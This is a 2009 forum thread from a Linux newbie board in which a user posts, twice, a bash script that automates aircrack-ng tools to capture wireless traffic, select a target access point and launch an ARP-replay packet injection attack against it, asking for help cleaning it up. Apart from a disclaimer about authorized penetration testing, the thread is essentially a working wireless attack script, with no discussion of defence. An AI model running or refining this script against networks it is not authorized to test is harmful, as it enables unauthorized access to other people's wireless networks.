LinuxQuestions.org
Review your favorite Linux distribution.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 09-15-2009, 03:19 PM   #1
altup
LQ Newbie
 
Registered: Sep 2009
Distribution: Ubuntu
Posts: 3

Rep: Reputation: 0
Cleaning up my first bash script


Hi, I'm very new to Linux, and relatively new to the whole computer world, especially the scripting world. I recently wrote a script to help automate aircrack-ng, and would like help cleaning it up. It seems to me there is a lot of extra stuff I had to put in there because I know very few commands, and any help would be much appreciated (:

My script, goes something like this:

#!/bin/bash
# This is my automated aircrack script. It is a tool to aid in
# penetration testing.

#Pause()
#{
# read
#}
Pause()
{

key=""
echo -n "Press enter to continue"
read ENTER
}


echo -n "This is not, I repeat, not, a script to help you crack your neighbors internet.
This is merely designed to aid in penetration testing a wireless access point. Ensure
you have proper permissions to test before performing any tests. By entering [y] you
are agreeing to not use this program illegally. [y/n] "

read DISCLAIMER

if [ "$DISCLAIMER" != "y" ]
then
exit
fi

############## MONITOR CHANNEL


export MONFREQ=`ifconfig|grep mon0`
if [ "$MONFREQ" > 1 ]; then

rm /monitorpackets/packetslib-01*
mkdir /monitorpackets
airodump-ng --write /monitorpackets/packetslib mon0 &
else
rm /monitorpackets/packetslib-01*
mkdir /monitorpackets
airmon-ng start wlan0
airodump-ng --write /monitorpackets/packetslib mon0 &

fi

############# MAC ADDRESS
echo

export MAC=`ifconfig |grep wlan0|grep 'HWaddr'| awk '{ print $5}'`

#################Waiting and killing the background process

echo "Waiting for ESSID choices....."

echo

echo

read -t 5

kill `ps -ef|grep airodump-ng | awk '{ print $2}'`

############################ESSID
awk '{ print $20 }' /monitorpackets/packetslib-01.csv

echo -n "What is the ESSID that you wish to try? "
read ESSID

echo

##########################CHANNEL
cat /monitorpackets/packetslib-01.csv|grep $ESSID|awk '{print $6}' > /monitorpackets/channel

CHANNELINC=$(cat /monitorpackets/channel)

CHANNELCHAR=$(wc -L /monitorpackets/channel|awk '{print $1}')

if [ "$CHANNELCHAR" = 3 ]; then

stringY=$CHANNELINC
echo ${stringY:0:2} > /monitorpackets/channel
CHANNEL=$(cat /monitorpackets/channel)
else
stringY=$CHANNELINC
echo ${stringY:0:1} > /monitorpackets/channel
CHANNEL=$(cat /monitorpackets/channel)
fi

###########################GRAB BSSID

cat /monitorpackets/packetslib-01.csv|grep $ESSID|awk '{print $1}' > /monitorpackets/packetslib-01.csv

BSSIDINC=$(cat /monitorpackets/packetslib-01.csv)

stringZ=$BSSIDINC

echo ${stringZ:0:17} > /monitorpackets/packetslib-01.csv

BSSID=`cat /monitorpackets/packetslib-01.csv`


############### RESULTS
mkdir /monitorpackets/results
xterm -e airodump-ng --channel $CHANNEL --bssid $BSSID --write /monitorpackets/results/$BSSID mon0 &

clear

read -t 5
aireplay-ng --arpreplay 0 -b $BSSID -h $MAC mon0






I put the Pause function in there to help while debugging it.
 
Old 09-15-2009, 03:24 PM   #2
catkin
LQ 5k Club
 
Registered: Dec 2008
Location: Tamil Nadu, India
Distribution: Debian
Posts: 8,578
Blog Entries: 31

Rep: Reputation: 1208Reputation: 1208Reputation: 1208Reputation: 1208Reputation: 1208Reputation: 1208Reputation: 1208Reputation: 1208Reputation: 1208
Can you post it again using code tags so it's easier to read?
 
Old 09-15-2009, 03:26 PM   #3
altup
LQ Newbie
 
Registered: Sep 2009
Distribution: Ubuntu
Posts: 3

Original Poster
Rep: Reputation: 0
Sure, sorry about that

Code:
#!/bin/bash
# This is my automated aircrack script. It is a tool to aid in penetration 
# testing.

#Pause()
#{
#	read
#}	
Pause()
{

	key=""
	echo -n "Press enter to continue"
	read ENTER
}


echo -n "This is not, I repeat, not, a script to help you crack your neighbors internet. 
This is merely designed to aid in penetration testing a wireless access point. Ensure
 you have proper permissions to test before performing any tests. By entering [y] you
 are agreeing to not use this program illegally. [y/n]  "

read DISCLAIMER

if [ "$DISCLAIMER" = "y" ]
then
	echo "Don't forget about using the packet injection in another 
terminal."
else
	exit
fi

############## MONITOR CHANNEL


export MONFREQ=`ifconfig|grep mon0`
if [ "$MONFREQ" > 1 ]; then
	
	rm /monitorpackets/packetslib-01*
	mkdir /monitorpackets
	airodump-ng --write /monitorpackets/packetslib  mon0 &
else
	rm /monitorpackets/packetslib-01*
	mkdir /monitorpackets
	airmon-ng start wlan0
	airodump-ng --write /monitorpackets/packetslib mon0 &
 
fi

############# MAC ADDRESS
echo 

export MAC=`ifconfig |grep wlan0|grep 'HWaddr'| awk '{ print $5}'`

#################Waiting and killing the background process
echo "Waiting for ESSID choices....."
echo
echo
read -t 5

kill `ps -ef|grep airodump-ng | awk '{ print $2}'` 

############################ESSID
awk '{ print $20 }' /monitorpackets/packetslib-01.csv
Pause
echo -n "What is the ESSID that you wish to try?  "
read ESSID

echo

##########################CHANNEL
cat /monitorpackets/packetslib-01.csv|grep $ESSID|awk '{print $6}' > /monitorpackets/channel
CHANNELINC=$(cat /monitorpackets/channel)
CHANNELCHAR=$(wc -L /monitorpackets/channel|awk '{print $1}') 
if [ "$CHANNELCHAR" = 3 ]; then

	stringY=$CHANNELINC
	echo ${stringY:0:2} > /monitorpackets/channel
	CHANNEL=$(cat /monitorpackets/channel)
else
	stringY=$CHANNELINC
	echo ${stringY:0:1} > /monitorpackets/channel
	CHANNEL=$(cat /monitorpackets/channel)
fi

###########################GRAB BSSID

cat /monitorpackets/packetslib-01.csv|grep $ESSID|awk '{print $1}' > /monitorpackets/packetslib-01.csv

BSSIDINC=$(cat /monitorpackets/packetslib-01.csv)

stringZ=$BSSIDINC

echo ${stringZ:0:17} > /monitorpackets/packetslib-01.csv

BSSID=`cat /monitorpackets/packetslib-01.csv`


############### RESULTS
mkdir /monitorpackets/results
xterm -e airodump-ng --channel $CHANNEL --bssid $BSSID --write /monitorpackets/results/$BSSID  mon0 &

clear

read -t 5
aireplay-ng --arpreplay 0 -b $BSSID -h $MAC mon0
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
passing variable from bash to perl in a bash script quadmore Programming 6 02-21-2011 04:11 AM
script for cleaning log Imranteli Linux - Newbie 3 09-10-2009 11:25 PM
[SOLVED] Using a long Bash command including single quotes and pipes in a Bash script antcore Linux - General 9 07-22-2009 11:10 AM
Strange if statement behaviour when using bash/bash script freeindy Programming 7 08-04-2008 06:00 AM
cleaning the readability of this ruby script hedpe Programming 1 12-26-2006 02:46 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie

All times are GMT -5. The time now is 11:19 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration